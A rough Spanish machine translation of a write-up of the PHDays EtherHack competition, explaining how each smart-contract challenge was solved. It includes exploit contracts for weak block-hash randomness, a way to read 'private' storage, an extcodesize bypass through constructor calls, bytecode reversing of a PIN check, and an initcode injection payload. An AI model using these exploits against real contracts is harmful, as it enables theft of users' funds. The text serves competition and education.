
Este año, PHDays organizó una competencia llamada
EtherHack por primera vez. Los participantes buscaron vulnerabilidades en los contratos inteligentes para la velocidad. En este artículo le informaremos sobre las tareas de la competencia y las posibles formas de resolverlas.
Azino 777
¡Gana la lotería y rompe el bote!
Las primeras tres tareas estaban relacionadas con errores en la generación de números pseudoaleatorios, de los que hablamos recientemente:
Predecir números aleatorios en los contratos inteligentes de Ethereum . La primera tarea se basó en un generador de números pseudoaleatorios (PRNG), que utilizó el hash del último bloque como fuente de entropía para generar números aleatorios:
pragma solidity ^0.4.16; contract Azino777 { function spin(uint256 bet) public payable { require(msg.value >= 0.01 ether); uint256 num = rand(100); if(num == bet) { msg.sender.transfer(this.balance); } }
Dado que el resultado de llamar a la función
block.blockhash(block.number-1)
será el mismo para cualquier transacción dentro del mismo bloque, el ataque puede usar un contrato de explotación con la misma función
rand()
para llamar al contrato objetivo a través de un mensaje interno:
function WeakRandomAttack(address _target) public payable { target = Azino777(_target); } function attack() public { uint256 num = rand(100); target.spin.value(0.01 ether)(num); }
Ryan privado
Hemos agregado un valor inicial privado que nadie calculará nunca.
Esta tarea es una versión un poco complicada de la anterior. La variable semilla, que se considera privada, se utiliza para compensar el número ordinal del bloque (número de bloque) de modo que el hash del bloque no dependa del bloque anterior. Después de cada apuesta, la semilla se reescribe en un nuevo desplazamiento "aleatorio". Por ejemplo, en la lotería
Slotthereum fue solo eso.
contract PrivateRyan { uint private seed = 1; function PrivateRyan() { seed = rand(256); } function spin(uint256 bet) public payable { require(msg.value >= 0.01 ether); uint256 num = rand(100); seed = rand(256); if(num == bet) { msg.sender.transfer(this.balance); } } }
Al igual que en la tarea anterior, el pirata informático solo necesitaba copiar la función
rand()
en la explotación del contrato, pero en este caso el valor de la semilla de variable privada tenía que obtenerse fuera de la cadena de bloques y luego enviarse a la explotación como argumento. Para hacer esto, puede usar el método
web3.eth.getStorageAt () de la biblioteca web3:
Lectura de la tienda por contrato fuera de la cadena de bloques para obtener el valor inicialDespués de recibir el valor inicial, solo queda enviarlo al exploit, que es casi idéntico al de la primera tarea:
contract PrivateRyanAttack { PrivateRyan target; uint private seed; function PrivateRyanAttack(address _target, uint _seed) public payable { target = PrivateRyan(_target); seed = _seed; } function attack() public { uint256 num = rand(100); target.spin.value(0.01 ether)(num); } }
Rueda de la fortuna
Esta lotería usa el hash del siguiente bloque. ¡Intenta calcularlo!
En esta tarea, fue necesario averiguar el hash del bloque cuyo número se almacenó en la estructura del Juego después de que se realizó la apuesta. Este hash se extrajo para generar un número aleatorio después de que se realizó la próxima apuesta.
Pragma solidity ^0.4.16; contract WheelOfFortune { Game[] public games; struct Game { address player; uint id; uint bet; uint blockNumber; } function spin(uint256 _bet) public payable { require(msg.value >= 0.01 ether); uint gameId = games.length; games.length++; games[gameId].id = gameId; games[gameId].player = msg.sender; games[gameId].bet = _bet; games[gameId].blockNumber = block.number; if (gameId > 0) { uint lastGameId = gameId - 1; uint num = rand(block.blockhash(games[lastGameId].blockNumber), 100); if(num == games[lastGameId].bet) { games[lastGameId].player.transfer(this.balance); } } } function rand(bytes32 hash, uint max) pure private returns (uint256 result){ return uint256(keccak256(hash)) % max; } function() public payable {} }
En este caso, hay dos posibles soluciones.
- Llame al contrato objetivo dos veces a través del contrato de explotación. El resultado de llamar a la función block.blockhash (block.number) siempre será cero.
- Espere a que 256 bloques entren y haga una segunda apuesta. El hash del número de secuencia de bloque almacenado será cero debido a las limitaciones de Ethereum Virtual Machine (EVM) en el número de hashes de bloque disponibles.
En ambos casos, la apuesta ganadora será
uint256(keccak256(bytes32(0))) % 100
o "47".
Llamame tal vez
Este contrato no le gusta cuando otros contratos lo llaman.
Una forma de evitar que un contrato sea llamado por otros contratos es usar la instrucción de ensamblador EVM
extcodesize
, que devuelve el tamaño del contrato en su dirección. El método consiste en utilizar esta instrucción para la dirección del remitente de la transacción mediante la inserción del ensamblador. Si el resultado es mayor que cero, el remitente de la transacción es un contrato, ya que las direcciones normales en Ethereum no tienen código. Fue precisamente este enfoque el que se utilizó en esta tarea para evitar que otros contratos lo llamaran.
contract CallMeMaybe { modifier CallMeMaybe() { uint32 size; address _addr = msg.sender; assembly { size := extcodesize(_addr) } if (size > 0) { revert(); } _; } function HereIsMyNumber() CallMeMaybe { if(tx.origin == msg.sender) { revert(); } else { msg.sender.transfer(this.balance); } } function() payable {} }
La
tx.origin
transacción
tx.origin
apunta al creador original de la transacción y msg.sender a la última persona que llama. Si enviamos la transacción desde la dirección habitual, estas variables serán iguales y terminaremos con
revert()
. Por lo tanto, para resolver nuestro problema, era necesario omitir la verificación de la instrucción
extcodesize
para que
tx.origin
y
msg.sender
diferentes. Afortunadamente, hay una buena característica en EVM que puede ayudar con esto:

De hecho, cuando el contrato recién colocado llama a otro contrato en el constructor, todavía no existe en la cadena de bloques, actúa exclusivamente como una billetera. Por lo tanto, el código no está vinculado al nuevo contrato y extcodesize devolverá cero:
contract CallMeMaybeAttack { function CallMeMaybeAttack(CallMeMaybe _target) payable { _target.HereIsMyNumber(); } function() payable {} }
La cerradura
Por extraño que parezca, el castillo está cerrado. Intente recoger el código PIN a través de la función de desbloqueo (bytes4 pincode). Cada intento de desbloqueo te costará 0,5 éter.
En esta tarea, a los participantes no se les dio un código, tuvieron que restaurar la lógica del contrato por su código de bytes. Una opción era usar Radare2, una plataforma que se usa para
desmontar y
depurar EVM .
Para comenzar, publicaremos un ejemplo de la tarea e ingresaremos el código al azar:
await contract.unlock("1337", {value: 500000000000000000}) →false
El intento, por supuesto, es bueno, pero no tuvo éxito. Ahora intente depurar esta transacción.
r2 -a evm -D evm "evm://localhost:8545@0xf7dd5ca9d18091d17950b5ecad5997eacae0a7b9cff45fba46c4d302cf6c17b7"
En este caso, le indicamos a Radare2 que use la arquitectura evm. Esta herramienta luego se conecta al nodo Ethereum y recupera el rastro de esta transacción en la máquina virtual. Y ahora, finalmente, estamos listos para sumergirnos en el bytecode EVM.
En primer lugar, debe realizar un análisis:
[0x00000000]> aa [x] Analyze all flags starting with sym. and entry0 (aa)
Luego, desarmamos las primeras 1000 instrucciones (esto debería ser suficiente para cubrir todo el contrato) usando el comando pd 1000, y cambiamos para ver el gráfico con el comando VV.
En el código de bytes EVM compilado con
solc
, generalmente el administrador de funciones es lo primero. Basado en los primeros cuatro bytes de los datos de la llamada que contienen la firma de la función, que se define como
bytes4(sha3(function_name(params)))
, el administrador de la función decide a qué función llamar. Estamos interesados en la función de
unlock(bytes4)
, que corresponde a
0x75a4e3a0
.
Siguiendo el flujo de ejecución usando la tecla s, llegamos al nodo que compara la
callvalue
valor de
0x6f05b59d3b20000
con el valor
0x6f05b59d3b20000
o
500000000000000000
, que es equivalente a 0.5 ether:
push8 0x6f05b59d3b20000 callvalue lt
Si el éter proporcionado es suficiente, nos encontramos en un nodo que se asemeja a una estructura de control:
push1 0x4 dup4 push1 0xff and lt iszero push2 0x1a4 jumpi
El código coloca el valor 0x4 en la parte superior de la pila, verifica el límite superior (el valor no debe exceder 0xff) y lo compara con algún valor duplicado del cuarto elemento de la pila (dup4).
Desplazándonos hasta la parte inferior del gráfico, vemos que este cuarto elemento es esencialmente un iterador, y esta estructura de control es un bucle que corresponde a
for(var i=0; i<4; i++):
push1 0x1 add swap4
Si consideramos el cuerpo del bucle, resulta obvio que enumera cuatro bytes entrantes y realiza algunas operaciones con cada uno de los bytes. Primero, el bucle verifica que el enésimo byte sea mayor que 0x30:
push1 0x30 dup3 lt iszero
y también que este valor es menor que 0x39:
push1 0x39 dup3 gt iszero
que es esencialmente una verificación de que el byte dado está en el rango de 0 a 9. Si la verificación es exitosa, nos encontramos en el bloque de código más importante:

Rompamos este bloque en partes:
1. El tercer elemento en la pila es el código ASCII del enésimo byte del código pin. 0x30 (código ASCII para cero) se inserta en la pila y luego se resta del código de este byte:
push1 0x30 dup3 sub
Es decir, el
pincode[i] - 48
, y esencialmente obtenemos un dígito del código ASCII, llamémoslo d.
2. Se agrega 0x4 a la pila y se usa como exponente para el segundo elemento de la pila, d:
swap1 pop push1 0x4 dup2 exp
Es decir,
d ** 4
.
3. Se recupera el quinto elemento de la pila y se le agrega el resultado de la exponenciación. Llame a esta suma S:
dup5 add swap4 pop dup1
Es decir,
S += d ** 4
.
4. Se inserta 0xa (código ASCII para 10) en la pila y se usa como multiplicador para el séptimo elemento de la pila (que era el sexto antes de esta adición). No sabemos qué es, por lo tanto, llamaremos a este elemento U. Luego se agrega d al resultado de la multiplicación:
push1 0xa dup7 mul add swap5 pop
Es decir:
U = U * 10 + d
o, más simplemente, esta expresión recupera el código pin completo como un número de bytes individuales
([0x1, 0x3, 0x3, 0x7] → 1337)
.
Lo más difícil que hicimos, ahora pasemos al código después del ciclo.
dup5 dup5 eq
Si los elementos quinto y sexto en la pila son iguales, entonces el flujo de ejecución nos llevará a la instrucción sstore, que establece un determinado indicador en el almacén de contratos. Como esta es la única instrucción de sstore, aparentemente es lo que estábamos buscando.
Pero, ¿cómo superar esta prueba? Como ya descubrimos, el quinto elemento en la pila es S y el sexto es U. Dado que S es la suma de todos los dígitos del código pin elevado a la cuarta potencia, necesitamos un código pin para el cual se cumplirá esta condición. En nuestro caso, el análisis mostró que
1**4 + 3**4 + 3**4 + 7**4
no es igual a 1337, y no llegamos a la instrucción de
sstore
ganadora.
Pero ahora podemos calcular un número que satisfaga las condiciones de esta ecuación. Solo hay tres números que se pueden escribir como la suma de sus dígitos de cuarto grado: 1634, 8208 y 9474. ¡Cualquiera de ellos puede abrir la cerradura!
Barco pirata
Hola Salag! Un barco pirata atracado en el puerto. Haz que eche el ancla y levante la bandera con Jolly Roger y vaya en busca de tesoros.
El curso estándar de ejecución del contrato incluye tres acciones:
- Una llamada a la función
dropAnchor()
con un número de bloque que debería ser más de 100,000 bloques más grande que el actual. La función crea dinámicamente un contrato, que es un "ancla", que se puede "levantar" usando selfdestruct()
después del bloque especificado. - Una llamada a la función
pullAnchor()
, que inicia selfdestruct()
si ha pasado suficiente tiempo (¡mucho tiempo!). - Llame a sailAway (), que establece
blackJackIsHauled
en verdadero si no existe un contrato de anclaje.
pragma solidity ^0.4.19; contract PirateShip { address public anchor = 0x0; bool public blackJackIsHauled = false; function sailAway() public { require(anchor != 0x0); address a = anchor; uint size = 0; assembly { size := extcodesize(a) } if(size > 0) { revert();
La vulnerabilidad es bastante obvia: tenemos una inyección directa de instrucciones de ensamblador al crear un contrato en la función
dropAnchor()
. Pero la principal dificultad era crear una carga útil que nos permitiera pasar la
block.number
.
En EVM, puede crear contratos utilizando la declaración de creación. Sus argumentos son valor, desplazamiento de entrada y tamaño de entrada. El valor es un código de bytes que aloja el contrato en sí (código de inicialización). En nuestro caso, el código de inicialización + código de contrato se coloca en uint256 (gracias al equipo de
GasToken por la idea):
0x6a63004141414310585733ff600052600b6015f3
donde los bytes en negrita son el código del contrato alojado, y 414141 es el sitio de inyección. Como nos enfrentamos a la tarea de deshacernos del operador de lanzamiento, necesitamos insertar nuestro nuevo contrato y reescribir la parte final del código de inicialización. Intentemos inyectar el contrato con la instrucción 0xff, lo que conducirá a la eliminación incondicional del contrato de anclaje usando
selfdestruct()
:
68 414141ff3f3f3f3f3f ;; contrato push9
60 00 ;; push1 0
52 ;; mstore
60 09 ;; push1 9
60 17 ;; push1 17
f3 ;; volver
Si convertimos esta secuencia de bytes a
uint256 (9081882833248973872855737642440582850680819)
y la usamos como argumento para la función
dropAnchor()
, obtenemos el siguiente valor para la variable de código (el código de bytes en negrita es nuestra carga útil):
0x630068414141ff3f3f3f3f3f60005260096017f34310585733ff
Después de que la variable de código se convierta en parte de la variable initcode, obtenemos el siguiente valor:
0x68414141ff3f3f3f3f3f60005260096017f34310585733ff600052600b6015f3
Ahora los bytes altos
0x6300
ido, y el resto del
0x6300
bytes se descarta después de
0xf3 (return)
.

Como resultado, se crea un nuevo contrato con la lógica modificada:
41 ;; base de monedas
41 ;; base de monedas
41 ;; base de monedas
ff ;; autodestrucción
3f ;; basura
3f ;; basura
3f ;; basura
3f ;; basura
3f ;; basura
Si ahora llamamos a la función pullAnchor (), este contrato se destruirá inmediatamente, ya que ya no tenemos una verificación en block.number. ¡Después de eso llamamos a la función sailAway () y celebramos la victoria!
Resultados
- Primer lugar y emisión en la cantidad equivalente a 1,000 dólares estadounidenses: Alexey Pertsev (p4lex)
- Segundo lugar y Ledger Nano S: Alexey Markov
- Tercer lugar y recuerdos de PHDays: Alexander Vlasov
Todos los resultados:
etherhack.positive.com/#/scoreboard
¡Felicitaciones a los ganadores y gracias a todos los participantes!
PD: Gracias a
Zeppelin por
hacer que el código fuente de la plataforma
Ethernaut CTF sea de código abierto.